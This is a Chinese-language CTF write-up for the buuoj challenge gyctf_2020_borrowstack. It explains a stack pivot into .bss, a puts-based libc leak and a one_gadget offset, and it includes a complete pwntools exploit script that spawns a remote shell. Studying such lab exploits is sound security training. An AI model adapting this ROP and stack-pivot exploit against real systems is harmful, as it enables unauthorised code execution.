gyctf_2020_borrowstack 1

1.checksec

2.ida

在这里插入图片描述
在read buf处存在栈溢出漏洞,但只能溢出8字节,而后面有向bss段bank处读入数据,我们就可以通过栈迁移,借用bank处的bss段构建栈,但因为该bss段距离.got.plt段非常近,所以要通过在bank处构建的payload时先填充20个ret指令的地址从而实现抬高栈,这样就不会覆盖到got表处了,抬高20个可能是因为后面又要回到main函数,而main函数中要执行sub esp 60h这样如果没有抬栈就会由于主函数中的操作将got段覆盖掉。
该题还有一个就是用了一个工具one_gadget
在这里插入图片描述
看了一下第二个条件就可以满足,偏移是0x4526a,只要通过泄露libc计算出基址就可以通过该偏移得到该shell的地址。

3.exp

from pwn import*
context(os='linux',arch='amd64')
p=remote('node5.buuoj.cn',25719)
#p=process('./29')
elf=ELF('./29')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
lea_ret=0x400699
rdi_ret=0x400703
ret=0x4004c9
bss=0x601080
payload=b'a'*0x60+p64(bss)+p64(lea_ret)
p.send(payload)

payload=p64(ret)*20+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
p.recvuntil('now!\n')
puts_ad=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_ad))

libc=ELF('./ubantu1664.so')
libcbase=puts_ad-libc.sym['puts']
one_gadget=libcbase+0x4526a
payload=b'a'*0x68+p64(one_gadget)
p.send(payload)


p.interactive()

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-27 22:14:04       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-27 22:14:04       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-27 22:14:04       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-27 22:14:04       18 阅读

热门阅读

  1. pygame制作贪吃蛇

    2024-03-27 22:14:04       17 阅读
  2. 常见typescript面试题

    2024-03-27 22:14:04       13 阅读
  3. C#基础-标识符命名规则

    2024-03-27 22:14:04       15 阅读
  4. LeetCode 2580.统计将重叠区间合并成组的方案数

    2024-03-27 22:14:04       14 阅读
  5. sql常用之CASE WHEN THEN

    2024-03-27 22:14:04       15 阅读